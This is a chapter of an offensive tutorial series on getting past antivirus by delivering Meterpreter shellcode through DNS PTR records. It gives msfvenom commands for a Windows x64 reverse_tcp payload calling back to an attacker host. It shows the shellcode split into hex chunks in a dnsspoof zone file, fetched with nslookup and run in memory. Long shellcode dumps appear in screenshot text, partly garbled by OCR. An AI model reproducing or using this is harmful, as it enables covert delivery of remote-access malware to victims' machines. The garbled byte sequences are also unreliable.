Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)

Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)

- Goal : Understanding this technique by C#
- Creating C#.NET Code and Testing.

Understanding this technique by C# : Bypassing Anti-viruses with Transferring Backdoor Payloads via DNS traffic

In this chapter I want to explain how can bypass anti-viruses without encryption method for payloads so in this chapter I want to talk about DATA-Payload "Infiltration/Exfiltration/Transferring" Technique by DNS Traffic. In this technique I want to use DNS protocol to Transfer my backdoor payloads from attacker computer to Client computer so in this case we need one backdoor code "without" hard-coded payload or encrypted Payload.

Therefore risk for detecting by Anti-Viruses is very low in this case.

Why DNS protocol?

Because DNS traffic in the most networks are available without monitoring or Filtering by IPS/IDS or hardware firewalls and I know you can Check DNS Traffic by Snort IPS/IDS or something like that but detecting new Payloads via DNS Traffic by signatures is Difficult but is possible for network administrators .

In this article I want to show you one way to hiding your payloads by DNS Request/Response over Network.

Where is vulnerability point in this case?

When you want to use Payloads without encryption or Hard coded Payloads in your backdoor file like this case you need to transfer Payloads over Network from your system to target computer by some Protocol like HTTP and DNS or ..., in this case we want to transfer these Payloads over DNS Traffic also execute these Payloads in Target computer memory so vulnerability point is Payload location and vulnerability point is Anti-viruses methods for Detecting Malware. Because in this case we don't have Payloads on File-systems so we have Payload in memory and Network Traffic.

Note : "Unfortunately" Network traffic monitoring and Memory Monitoring/Scanning by AVs to Detect malware code do not work very well or do not work always in the most Anti-viruses with or without IPS/IDS features.

Example: Backdoor Payloads in DNS Zone with PTR records and A records.



Picture 1: DNS Zone (IPAddress_to_DnsNameFQDN).

As you can see in this DNS zone I have two PTR records with meterpreter Payload like two FQDN And I have two PTR Record for Backdoor Reconnect setting Time also one A record.

Splitting Payload values and Records!

If you want to bypassing Payload detection over Network DNS traffic by signature base Firewalls or IPS/IDS tools

One good way for do this is splitting your Payloads into DNS Records with same Type like PTR or other types also you can encrypt your Payloads then use these Protocols. it depends on you and your target network.

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)

You can see in picture 1, I have five records for Splitting one Payload in this case Meterpreter Payload Line one.

Therefore payloads for these records are equal with payload for this record 1.1.1.0

Example: 1.0.1.0 + 1.0.1.1 + 1.0.1.2 + 1.0.1.3 + 1.0.1.4 = 1.1.1.0

It means you can have:

five DNS request for 1.0.1.x * 5 <=> 5 response with result like (1 response from payload-0 by PTR record 1.1.1.0)

Or

one DNS Request for 1.1.1.0 <=> 1 Response by (payload-0 by PTR record 1.1.1.0)

In client side you can get this information from fake DNS server by more tools or technique but I want to use NSLOOKUP command prompt by backdoor because I think this is very simple to use.

As you can see in picture 2, I try to test DNS traffic from Fake DNS server to Client by NSLOOKUP tool.

🔁 Kali 2016.II - VMware Workstation	ee ø	^a root@kali: ~	
<u>F</u> ile <u>E</u> dit <u>V</u> iew V <u>M</u> <u>T</u> abs <u>H</u> elp	20	<pre>bot@kali:~# cat /root/Desktop/dns.txt</pre>	^
Meterpreter Payloads Transfer by DNS traffic.	1. 1. 1. 1. 1.	1.1.1 "0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1 1.1.2 "0x510x560x480x310xd20x650x480x8b0x520x600x480x8b0x520x180x48.1 1.1.3 "0x8b0x520x200x480x8b0x720x500x480x00f0xb70x4a0x4a0x4a0x4a0x310xc9.1 " "0x8b0x520x200xac0x3c0x610x7c0x20x2c0x2010xc10xc90x0d0x41. " 5 "0x010xc10xc20xed0x520x410x510x480x8b0x520x200x8b0x420x3c0x48.1	com" com" com" com" L.com"
Command Prompt		x810x780x180x0b0x020x0f0x850x720x000x000x80.1	.com"
C:\Users\Damon_PC?\Documents\Uisual Studio 2008\Projects\DNS_Req\DNS_] 192.168.1.50 FIND "Name" Name: "0xfc0x480x830xe40xf00xe80xcc0x000x000x410x510x410x500x52	Beq\bin\Debug) .1.com"	KBLOOKUP 1.1.1.1 KBLOOKUP 1.1.1 KBLOOKUP	com" com" 1.com"
C:\Users\Damon.PC7\Documents\Uisual Studio 2008\Projects\DNS_Req\DNS_1 192_168.1.50 ! FIND "Name"	leg\bin\De <mark>}</mark> ug>	>NSLOOKUP 1.1.1.2)x8b0x400x1c0x490x010xd00x410x8b0x040x880x480x01	1.com"
Name: "0x510x560x480x310xd20x650x480x8b0x520x600x480x8b0x520x180x48	.1.com")x410x580x5e0x590x5a0x410x580x410x590x410x5a0x48.	1.com"
C:\Users\Damon.PC?\Documents\Visual Studio 2008\Projects\DNS_Req\DNS_] 192.168.1.59 ; FIND "Name" Name: "0x8bbx520x200x480x8b0x720x500x480x0f0xb70x4a0x4a0x4d0x310xc?	leq\bin\Debug> '.1.com''	Distorkup 1.1.1.3 Distf0x5d0x490xbe0x770x730x320x5f0x330x320x000x00. Dix890xe60x480x810xec0xa00x010x000x000x490x890xe5	1.com" 1.com"
C:\Users\Damon.PC?\Documents\Visual Studio 2008\Projects\DNS_Req\DNS_ 192.168.1.59 ; FIND 'Name'' 192.168.1.59 ; FIND 'Name''	leq\bin\Debug>	>NSLOOKUP 1.1.1.4)x410xba0x4c0x770x260x070x4f10x4c0x890xea0x64)x410xba0x4c0x770x260x070xff0xd50x4c0x890xea0x68)x000x590x410xba0x290x800x6b0x000xff0xd50x6a0x65	1.com" 1.com"
Name. DX 60X510XC00XAC0X3C0X610X7C0X020X200X10XC10XC0XY00XY1 C:\Users\Damon.PC?\Documents\Uisual Studio 2008\Projects\DNS_Req\DNS_J 192.168.1.50 f FIDU "Name" Name: "0x010xc10xe20xed0x520x410x510x480x8b0x520x200x8b0x420x3c0x44 C:\Users\Damon.PC?\Documents\Uisual Studio 2008\Projects\DNS_Req\DNS_J	Com Req\bin\Debug≯ 8.1.com'' Req\bin\Debug≯)x500x4d0x310xc90x4d0x310xc00x480xff0xc00x480x89. >NSLOOKUP 1.1.1.5)x6a0x10x410x580x4c0x890xc10x410xba0xea0x0f0xdf0xe00xff0xc0.)x6a0x10x410x580x4c0x890x20x480x890xf90x410xba)x6a0x100x410x580x4c0x740x0a0x490xff0xc0x750xc5)x6a0x100x410x580x4c0x740x0a0x490xf70xc5)x6a0x100x410x580x4c0x740x0a0x490xf70xc5)x6a0x100x410x580x4c0x740x0a0x490xf70xc5	1.com" 1.com" 1.com" 1.com"
)x580x480x890xf90x410xba0x020xd90xc80x5f0xff0xd5	1.com"
	1. 1. 1. 1. 1. 1. 1. 1. 1. 1.	<pre>1.1.26 "0x830xf80x000x7e0x550x480x830xc40x200x5e0x890xf60x60av400x41. 1.1.27 "0x830x680x000x100x000x000x410x580x480x890xc720x480x310xc90x41. 1.1.28 "0xba0x580xa40x530xe50xff0xd50x480x890xc30x490x890xc70x4d0x31. 1.1.29 "0xc90x490x890xf00x480x890xda0x480x890xf90x410xba0x020xd90xc8. 1.1.30 "0x5f0xff0xd50x830xf60x000x7d0x280x80x410x570x590x880x000x40. 1.1.33 "0x0000x000x410x580x6a0x000x5a0x410xba0xb0bx2f0x0xff0xd50x8000x40. 1.1.33 "0x5f0xff0xd10x580x6a0x000x5a0x410xb0bbx2f0x0xff0xc50x890xc70x4d0x11. 1.1.33 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41. 1.1.33 "0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41. 1.1.34 "0xff0xe70x580x6a0x000x590x490xcf0xc20x20x560xf60x750xb40x41. 1.1.34 "0xff0xe70x580x6a0x000x590x490xcf0xc20x20x50xb40x41. 1.1.34 "0xff0xe70x580x6a0x000x590x490xc70xc20xf0xb50xa20x560xff0xd5. x0t4ka1:-* dnsspoof -i eth0 -f /root/Desktop/dns.txt 1sspoof: listening on eth0 [udp dt port 53 and not src 192.168.1.50] 22.168.1.113.64459 > 192.168.1.50.53: 2+ FTR? 1.1.1.in-addr.arpa 22.168.1.113.6392 > 192.168.1.50.53: 2+ FTR? 2.1.1.1.in-addr.arpa 22.168.1.113.6392 > 192.168.1.50.53: 2+ FTR? 2.1.1.1.in-addr.arpa</pre>	1.com" 1.com" 1.com" 1.com" 1.com" 1.com" 1.com" 1.com"
	19	92.168.1.113.63894 > 192.168.1.50.53: 2+ PIK? 2.1.1.1.in-addr.arpa 92.168.1.113.64356 > 192.168.1.50.53: 2+ PTR? 3.1.1.1.in-addr.arpa	
To direct input to this VM, click inside or press Ctrl+G.			-
📢 🙆 👙 🔏 💁 💿 💿 🕺 🔬 😨 😼 🚳	🐼 🛃 i	💌 💿 🗍 🕇 💟 🛥 🦪 🖂 🖷 🖬 🖉 🔺 🖗 🐽 💽	😼 10:37 PM

Picture 2: Nslookup command and Testing DNS Traffic.

Now I want to talk about how can make Fake DNS server with linux and Meterpreter Payload via DNS Records And finally use my tool NativePayload_DNS.exe to execute Payload and getting Meterpreter session by DNS traffic.

STEP1: Make Fake DNS Server with Meterpreter Payloads Step by step:

In this step you should make Meterpreter Payload with Msfvenom Tool like picture 4 and copy that Payload line by line to dns.txt file then Use this file by DNSSpoof tool for making Fake DNS Server with kali Linux.

But before I explain how can do this first I should show you Meterpreter Payload with "Exe" file and Test this Payload with All antiviruses then you can see this Payload and this signature will detect by the most Anti-viruses when you used that with EXE format.

Why I want to show this one?

Because I want to show you, I used two same Payloads by two techniques first by "EXE" format file and second by Transfer via DNS Traffic and you can see EXE format will detect by Anti-viruses but AVs can't Detect Second technique "Transfer by DNS traffic" and we know both method had same Payload.

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)

Example1, First technique EXE format: msfvenom --platform windows -arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 -f exe > /root/Desktop/payload.exe

As you can see in picture 3 my payload with EXE format detected by 11 anti-viruses.



Picture 3: EXE Format payload Detected by AVs

Ok now for second technique you should use this one with C type or Csharp type (-f : Transform Type)

Example2 , second technique DNS Traffic: msfvenom --platform windows -arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 -f c > /root/Desktop/payload.txt

After make payload.txt file , now you should make dns.txt file and copy your payloads line by line to dns.txt file like format as you can see in picture 4.

This is really important you have correct Format in dns.txt file.

Because we want to use this file by Dnsspoof tool with linux and your format should be something like this:

Ipaddress "{payload}.domain.com"

- 1.1.1.0 "0xfc0x480x830xe40xf00xe8.1.com"
- 1.1.1.1 "0xbc0xc80x130xff0x100x08.1.com"

In this case because my C# backdoor code customized for domain name "1.com" we should use this name for domain Or something like that "2.com", "3.net", "t.com" or domain with one char name + ".com"

So in this case ipaddress "1.1.1.x" is our Counter for our Payload lines in our dns.txt file.

1.1.1.0 --> Line 0 in payload.txt file --> "{payload0}.1.com"

1.1.1.1 --> Line 1 in payload.txt file --> "{payload1}.1.com"

1.1.1.2 --> Line 2 in payload.txt file --> "{payload2}.1.com"

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)



Picture 4: step1 for make fake DNS server and Meterpreter payloads

After make dns.txt file you should have this file like picture 5.

🔐 root@kali: ~	
root@kali:-# cat /root/Desktop/dns.txt	^
<pre>1.1.1.0 "0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com" 1.1.1.1 "0x510x560x480x310xd20x650x480x8b0x520x600x480x8b0x520x180x48.1.com" 1.1.1.2 "0x8b0x520x200x480x8b0x720x500x480x0f0xb70x4a0x4a0x4d0x310xc9.1.com" 1.1.1.3 "0x480x310xc00xac0x3c0x610x7c0x020x2c0x200x410xc10xc90x0d0x41.1.com" 1.1.1.4 "0x010xc10xe20xed0x520x410x510x480x8b0x520x200x8b0x420x3c0x48.1.com" 1.1.1.5 "0x010xd00x660x810x780x180x0b0x020x0f0x850x720x000x000x8b.1.com" 1.1.1.6 "0x800x880x000x000x480x850xc00x740x670x480x010xd00x500x8b.1.com" 1.1.1.7 "0x480x180x440x8b0x400x200x490x010xd00xe30x560x480xff0xc90x41.1.com" 1.1.1.8 "0x8b0x340x880x480x010xd60x4d0x310xc90x480x310xc00xac0x41.1.com" 1.1.1.9 "0xc90x0d0x410x010xc10x380xe00x750xf10x4c0x030x4c0x240x80x41.1.com"</pre>	
1.1.1.10 "0x390xd10x750xd80x580x440x8b0x400x240x490x010xd00x660x410x8b.1.com" 1.1.1.11 "0x0c0x480x440x8b0x400x1c0x490x010xd00x410x8b0x040x880x480x01.1.com" 1.1.1.12 "0xd00x410x580x410x580x5e0x590x5a0x410x580x410x590x410x5a0x48.1.com" 1.1.1.13 "0x830xec0x200x410x520xff0xe00x580x410x590x5a0x480x8b0x120xe9.1.com" 1.1.1.14 "0x4b0xff0xff0xff0x5d0x490xbe0x770x730x320x5f0x330x320x000x00.1.com" 1.1.1.15 "0x410x560x490x890xe60x480x810xec0xa00x010x000x000x490x890xe5.1.com" 1.1.1.16 "0x490xbc0x020x000x110x5c0xc00xa80x010x320x410x540x490x890xe4.1.com" 1.1.1.17 "0x4c0x890xf10x410xba0x4c0x770x260x070xff0xd50x4c0x890xe4.1.com"	
1.1.1.19 "0x410x5e0x500x500x4d0x310xc90x4d0x310xc00x480xff0xc00x480x89.1.com" 1.1.1.20 "0xc20x480xff0xc00x480x890xc10x410xba0xea0x0f0xdf0xe00xff0xd5.1.com" 1.1.1.21 "0x480x890xc70x6a0x100x410x580x4c0x890xe20x480x890xf90x410xba.1.com" 1.1.1.22 "0x990xa50x740x610xff0xd50x850xc00x740x0a0x490xff0xce0x750xe5.1.com" 1.1.1.23 "0xe80x930x000x000x000x480x830xec0x100x480x890xe20x4d0x310xc9.1.com" 1.1.1.24 "0x6a0x040x410x580x480x890xf90x410xba0x020xd90xs60x5f0xff0xd5.1.com" 1.1.1.25 "0x830xf80x000x7e0x550x480x830xc40x20x5e0x890xf60x6a0x400x41.1.com" 1.1.1.26 "0x590x680x000x100x000x410x580x480x890xf20x480x8310xc90x41.1.com"	
1.1.1.27 "0xba0x580xa40x530xe50xff0xd50x480x890xc30x490x890xc70x4d0x31.1.com" 1.1.1.28 "0xc90x490x890xf00x480x890xda0x480x890xf90x410xba0x020xd90xc8.1.com" 1.1.1.29 "0x5f0xff0xd50x830xf80x000x7d0x280x580x410x570x590x680x000x40.1.com" 1.1.1.30 "0x000x000x410x580x6a0x000x5a0x410xba0x0b0x2f0x0f0x300xff0xd5.1.com" 1.1.1.31 "0x570x590x410xba0x750x6e0x4d0x610xff0xd50x490xff0xce0xe90x3c.1.com" 1.1.1.32 "0xff0xff0xff0xff0x480x010xc30x480x290xc60x480x850xf60x750xb40x41.1.com" 1.1.1.33 "0xff0xe70x580x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.39 "0xff0xff0xf10xf0xf80x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.39 "0xff0xf10xf10xf10xf80x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.39 "0xff0xf10xf10xf80x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.39 "0xff0xf10xf10xf80x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.39 "0xff0xf10xf10xf80x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.39 "0xff0xf10xf10xf80x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.39 "0xff0xf10xf10xf80x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.39 "0xff0xf10xf10xf80x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.39 "0xff0xf10xf10xf80x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.39 "0xff0xf10xf80x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.39 "0xf10xf10xf80x6a0x000x590x490xc70xc20xf00xb50xa20x560xff0xd5.1.com" 1.1.1.39 "0xf10xf10xf80xf80xf80xf80xf80xf80xf80xf80xf80xf8	

Picture5: Dns.txt file for make Fake DNS Server by dnsspoof tool

Part 2 (Infil/Exfiltration/Transferring Techniques by C#), Chapter 3 : DATA Transferring / Downloading Method by DNS Traffic (PTR Records)

Ok now you can use dnsspoof tool like picture 6 for starting Fake DNS Server in your linux.

<pre>1.1.1.1 "0x510x560x480x310xd20x650x480x8b0x520x600x480x8b0x520x180x48.1.com" 1.1.1.2 "0x8b0x520x200x480x8b0x720x500x460x010xb70x4a0x4a0x400x50x05.1.com" 1.1.1.4 "0x010xc10x220xed0x520x410x010x400x8b0x520x200x8b0x420x50x481.1.com" 1.1.1.5 "0x010xc10x20xed0x520x410x010x400x8b0x520x2000x0000x000x000x000x000x000x000x</pre>	📴 root@kali: ~	
1.1.1.2 "0x8b0x520x200x480x8b0x720x500x480x0f0xb70x480x460x460x440x41.com" 1.1.1.4 "0x4001x010xe20xed0x520x410x510x480x8b0x20x50x50x20x8b0x420x300x48.1.com" 1.1.1.6 "0x010x010xe20xed0x520x410x510x480x8b0x20x0f0x850x720x000x0000x8b.1.com" 1.1.1.6 "0x800x880x000x000x480x480x850xc00x740x670x480x010xd00x500x8b.1.com" 1.1.1.7 "0x480x180x440x8b0x400x200x490x100xe30x5460x410x1f0xc90x410x1.1.com" 1.1.1.8 "0x800x810x010x380xe00x740x670x480x010xc00x410x850x710x010x500x8b0.1.com" 1.1.1.9 "0x800x410x10x10x380xe00x750xf10x4c0x304xc0x240x80x8b.1.com" 1.1.1.9 "0x800x410x10x10x380xe00x750xf10x4c0x304xc0x240x80x450x1.1.com" 1.1.1.1 "0x0c0x410x10x50x410x380xe00x750xf10x4c0x304xc0x240x80x450x1.1.com" 1.1.1.1 "0x020x410x50x410x380xe00x500x410x40x410x8b0x400x800x410x8b0x480x01.1.com" 1.1.1.1 "0x030x410x50x410x580x50x50x50x50x50x50x40x80x410x50x410x850x410x50x410x80x40x80x01.1.com" 1.1.1.1 "0x020x410x50x410x580x50x50x50x50x50x30x320x50x30x320x8000x00.1.com" 1.1.1.1 "0x020x410x50x410x50xc0x00x80x410x50x50x50x30x320x850x300x8000x00.1.com" 1.1.1.1 "0x10x40x490x40x10x40x40x10xc00x80x010x000x000x490x890xe5.1.com" 1.1.1.1 "0x10x50x100x400x30x40x310xc00x800x100x000x0490x890xe5.1.com" 1.1.1.1 "0x10x50x50x50x50x40x310xc00x80x010x000x410x80x80x05.1.com" 1.1.1.1 "0x10x50x50x50x50x40x310xc00x800xf10x30x410x890x80x65.1.com" 1.1.1.1 "0x10x50x50x50x50x40x310xc00x800xf10x40x890xf10xc00x60x50.1.com" 1.1.1.2 "0x10x50x000x400x310x50x40x310xc00x480x890xf10xc00x60x50.1.com" 1.1.1.2 "0x10x50x000x400x310x50x40x310xc00x480x890xf10xc00x60x50x40x310xc00x480x890xf10xc00x60x50x40x80x80x05.1.com" 1.1.1.2 "0x480x800x000x400x310x580x40x30x60x00x480x890xf10xc00xf10x40x80x80x51.com" 1.1.1.2 "0x480x800x00x40x30x40x30x80x020x480x890xf10xc00x480x890xf10xc00x480x890xf10xc00x480x890xf10xc00x480x890xf10xc00x480x890xf10xc00x480x890xf10xc00x480x890xf10xc00x480x890xf10xc00x480x890xf10xc00x480x890xf10xc00x480x890xf10xc00x480x890xf10xc00x480x890xf10xc00x480x890xf10xc00x480x890xf10xc00x480x890xf10xc80x480x800x710x580x480x890xf10x50x480x890xf10xc00x480x800x	1.1.1.1 "0x510x560x480x310xd20x650x480x8b0x520x600x480x8b0x520x180x48.1.com"	A
1.1.1.3 "0x480x310xc00xac0x3c0x510x7c0x22c0x200x20x410xc10xc90x040x41.1.ccm" 1.1.1.4 "0x010xc10xe20xe0x50x10x510x480x80x520x200x800x000x000x000x80.1.ccm" 1.1.1.5 "0x010xa00x660x810x780x180x000x000x400x20x670x480x10x000x000x000x80.1.ccm" 1.1.1.6 "0x800x880x000x000x000x00x00x000x000x000	1.1.1.2 "0x8b0x520x200x480x8b0x720x500x480x0f0xb70x4a0x4a0x4d0x310xc9.1.com"	
1.1.1.4 "0x010xc10xc20xe20xed0x520x410x510x480x8b0x520x200x8b0x420x3c0x48.1.com" 1.1.1.6 "0x800x880x000x000x000x480x80x50xc00x470x850x720x000x00x8b1.com" 1.1.7 "0x480x180x440x8b0x400x200x490x010xd00xe30x560x480x10xc90x410xc1.1.com" 1.1.8 "0x8b0x340x880x480x010xd60x400x200x490x10xd00xe30x460x310xc00xa20x410xc1.1.com" 1.1.1.9 "0xc90x00x410x010x10x380xe00x750xf10x460x310xc00x460x10x80.1.1.com" 1.1.1.10 "0x390x110x750xd80x580x440x8b0x400x240x490x010xd00x660x410x8b1com" 1.1.1.12 "0xd00x410x580x410x580x400x20x490x010xd00x660x410x80x480x10.1.com" 1.1.1.12 "0xd00x410x580x10x580x50x50x50x50x410x580x410x590x410x50x480x480x01.1.com" 1.1.1.13 "0x830xec0x200x410x580x40x20x390x580x410x580x410x590x410x50x80.1.com" 1.1.1.14 "0x400xf0xff0xff0xff0x50xf0x70x730x320x5f0x330x320x00x00.1.com" 1.1.1.15 "0x410x560x4190x890xe60x480x810xec0xa00x010x000x000x490x890xe5.1.com" 1.1.1.16 "0x490xbc0x020x000x110x5c0xc00xa80x10x590x410x590x490x890xe5.1.com" 1.1.1.18 "0x010x010x000x000x590x410x40x80x40x810xc00x480xf20x890xe68.1.com" 1.1.1.18 "0x010x010x000x000x590x410x40x80x40x810xc00x480xf20x800x68.1.com" 1.1.1.19 "0x410x560x400x2000x590x410x400x400x460x890xe60xf00x400x480x40x890xe68.1.com" 1.1.1.21 "0x480x80xff0xc00x000x590x410x400x480x40x810xc00x480xff0xc00x480x85.1.com" 1.1.1.22 "0x990xa50x70x660x10x410x580x460x890xe20x440x310xc00x480xff0xc00x480x85.1.com" 1.1.1.22 "0x990xa50x70x660x100x410x580x460x890xe20x440x310xc00x480xff0xc00x480x85.1.com" 1.1.1.22 "0x890x850x000x000x480x890xc70x460x890xe20x440x310xc00x480x450x60x700x480x890xc70x460x810xe9.1.com" 1.1.1.22 "0x890x850x70x660x100x410x580x460x890xe20x440x310xc00x480x410xba1.com" 1.1.1.22 "0x890x850x000x000x480x890xc70x40x890xc70x440x310xc90x410xba1.com" 1.1.1.24 "0x660x000x100x000x400x480x480x890xc70x440x310xc90x410xba1.com" 1.1.1.24 "0x660x000x100x000x400x410x580x440x890xc70x440x310xc90x410xba1.com" 1.1.1.25 "0x850x680x000x500x410x80x480x890xc70x440x310xc90x410xba0x700x90x400x70x400x31.1.com" 1.1.1.28 "0x850x580x40x50x80x800x50x40x890x60x50x50x410x50x50x40x300x70x4	1.1.1.3 "0x480x310xc00xac0x3c0x610x7c0x020x2c0x200x410xc10xc90x0d0x41.1.com"	
<pre>1.1.1.5 "0x101xd00x460x810x780x180xb0x020x0f0x850r20x000x000x00x8b.1.com" 1.1.1.6 "0x800x880x000x000x480x850xc00x740x870x480x110xc00x50x8b.1.com" 1.1.1.7 "0x480x180x440x80x440x200x490x010xd00x830x60x4480xf10xc90x1.1.com" 1.1.1.8 "0x800x340x880x480x010x460x400x130xc90x480x10xc00xac0x410xc1.1.com" 1.1.1.9 "0xc90x0d0x410x010x10x380xe00x750xf10x4c0x30x4c0x240x80x45.1.com" 1.1.1.1 "0x0c0x480x40x80x40x80x40x010xd00x610x40x90x00x060x410x80b.1.com" 1.1.1.1 "0x0c0x480x410x850x400x520xf10x40x80x410x590x480x480x10.1.com" 1.1.1.1 "0x0c0x480x410x850x400x520xf10x40x80x410x590x480x40x10x590x480x480.1.com" 1.1.1.1 "0x80xe0x200x410x520xf10xe00x580x410x550x450x480x800x10x590x480x480.1.com" 1.1.1.1 "0x40x40xf10xf10xf10x520xf10x600x480x810xe00x00x00x000x000x00.1.com" 1.1.1.1 "0x40x80x410x500x110x50x60x60x480x810xe00x800x10x510xx490x890xe5.1.com" 1.1.1.1 "0x40x80x10x40x020000110x500x400x10x320x410x540x490x890xe5.1.com" 1.1.1.1 "0x40x80x10x40x020000110x500x400x10x320x410x540x490x890xe5.1.com" 1.1.1.1 "0x40x80x10x40x00x00x590x410xba0x290x800x600x000xf10x510x400x890xe1.1.com" 1.1.1.1 "0x40x80x40x10x40x40x770x260x70xf10x320x410x540x490x890xe4.1.com" 1.1.1.1 "0x40x890xf10x410xba0x40x770x260x70xf10x450x400x890xe20x6880x00xf10x50x480x890xe1.1.com" 1.1.1.2 "0x40x890xf10x410xba0x40x770x260x70xf10x40x00xff0x400xf10x40x890xe1.1.com" 1.1.1.2 "0x40x890xf10x600x480x890xc10x410xba0xe20x0f0xdf0xe00xff0xd51.1.com" 1.1.1.2 "0x40x890xf0x00x640x310xc00x480x890xe20x480x890xf0xd0x400xff0xd51.1.com" 1.1.1.2 "0x80x890x70x6a0x100x410x50x4e0x890xe20x480x890xff0xd50x40x310xc9.1.com" 1.1.1.2 "0x80x890x70x6a0x100x480x890xc20x480x890xe20x480x310xc91.1.com" 1.1.1.2 "0x80x890x000x000x000x80x830xe00x100x880x480x890xe20x480x310xc91.1.com" 1.1.1.2 "0x80x890x000x000x000x480x880xe20x480x890xf60x6a0x400x41.1.com" 1.1.1.2 "0x80x890x890x60x480x890xf60x800x460x890x60x40.1.com" 1.1.1.2 "0x80x890x800x000x000x40x80x890x20x480x890x20x480x310xc90x41.1.com" 1.1.1.2 "0x80x890x800x000x700x280x880x410x50x880x800x400x310xc90x41.1.com" 1.1.1.2 "0x80x80x480x50x80x480x890x70x20x4</pre>	1.1.1.4 "0x010xc10xe20xed0x520x410x510x480x8b0x520x200x8b0x420x3c0x48.1.com"	
<pre>1.1.1.6 "Dx800x880x000x000x000x40x480x850xc00x740x670x480x100x500x8b.1.com" 1.1.1.7 "Ox480x180x440x80x440x200x490x010xd00xe30x560x480xff0xc00xac0x410xc11.com" 1.1.1.9 "Oxc90x0d0x410x10xc10x380xe00x750xf10x4c0x301xc00xac0x410x8b.1.com" 1.1.1.1 "Ox00x480x440x8b0x400x10x400x40x40x490x010x000x660x410x8b.1.com" 1.1.1.1 "Ox00cx480x440x8b0x400x10x400x400x40x40x490x010x000x660x410x8b1.com" 1.1.1.1 "Ox00cx480x440x8b0x400x10x490x010xd00x410x8b0x40x80x480x011.com" 1.1.1.1 "Ox00cx480x440x8b0x400x10x490x010xd00x410x8b0x40x80x480x801.com" 1.1.1.1 "Ox00cx480x410x580x410x580x410x590x410x590x410x590x410x590x410x580x410x590x40x2000x000x110x50x000x000x910x890xe91.com" 1.1.1.1 "Ox400x4890xf10x410xba0x4c0x770x260x070xf10x450x490x890xe51.com" 1.1.1.1 "Ox400x4890xf10x410xba0x4c0x770x260x070xf10x500x400xf10x60x490x890xe51.com" 1.1.1.1 "Ox410x560x500x500x4d0x310xc90x400x310xc00x400xf10x60x490x890xe51.com" 1.1.1.2 "Ox400x4890xf10x410xba0x4c0x770x260x740x00x600xf10x60x480x891.com" 1.1.1.2 "Ox400x4890xf10x410xba0x4c0x700x000x400x410x500x480xf10xc00x480xf10xc00x480xf10xc00x480xf10xc00x480xf10xc00x480xf10xc00x480xf10xc00x480xf10xc00x480xf10xc00x480xf10xc00x480xf10xc00x480xf10xc00x480xf10xc00x480xf10xc00x480xf10xc00xf10xc51.com" 1.1.1.2 "Ox480x890xc70x60x100x410x580x4c0x890xe20x480x9f0xf10xba1.com" 1.1.1.2 "Ox480x890x000x600x410x580x4c0x890xe20x480x890xf10xba1.com" 1.1.1.2 "Ox480x890x000x600x48830xec0x100x480x890xf0x480x810xec0x100x480x810xec0x10x480x400x411.com" 1.1.2 "Ox880xf40x800x480x890xf90x410xba80x20x480x40x40x410xba0x200x490xc51.com" 1.1.2 "Ox880xf80x000x100x000x410x580x480x890xf20x480x810xe50x400x411.com" 1.1.2 "Ox880x680x000x100x000x410x580x480x890xf20x480x800x400x411.com" 1.1.2 "Ox880x680x000x100x000x410x580x480x890xf20x480x800x410xba0x200x400x411.com" 1.1.2 "Ox800x90x80x80x80x60x400x880x60x890x70x590x80x40x40x400x411.com" 1.1.3 "Ox8f0x8</pre>	1.1.1.5 "0x010xd00x660x810x780x180x0b0x020x0f0x850x720x000x000x000x8b.1.com"	
<pre>1.1.1.7 "0x480x180x440x80x400x200x490x010xd00xe30x560x480x10xc00xac0x41.1.com" 1.1.1.8 "0x8b0x340x880x480x010xd60x4d0x310xc90x480x310xc00xac0x410xc1com" 1.1.1.9 "0xc90xd00x410x010xc10x880x480x400x240x490x010xd00x660x410x8b.1.com" 1.1.1.11 "0x0c0x480x440x8b0x400x1c0x490x010xd00x410x8b0x480x480x410.1.com" 1.1.1.12 "0xd00x410x580x410x580x450x10x580x410x580x4410x580x4480x11com" 1.1.1.13 "0x830xec0x200x410x520xff0xe00x580x410x590x5a0x480x480x120xe9.1.com" 1.1.1.14 "0x4100xf60xf10xf10x580x450x400x210x580x410x590x5a0x480x80x480x01com" 1.1.1.15 "0x410x560x410x580x410x580x410x50x410x580x410x590x51.com" 1.1.1.16 "0x490xbc0x020x000x110x5c0xc00xa00x100x390x890xe50.1.com" 1.1.1.16 "0x490xbc0x020x000x110x5c0xc00xa80x010x320x410x540x490x890xe5.1.com" 1.1.1.17 "0x4c0x890xf10x410xba0x40x770x280x070xff0xd50x4c08x90xe80x480.1.com" 1.1.1.19 "0x410x5e0x500x500x400x310xc90x400x310xc00xef0x480x890xe4.1.com" 1.1.1.19 "0x410x5e0x500x500x400x310xc90x400x310xc00xef0x480x890xe4.1.com" 1.1.1.20 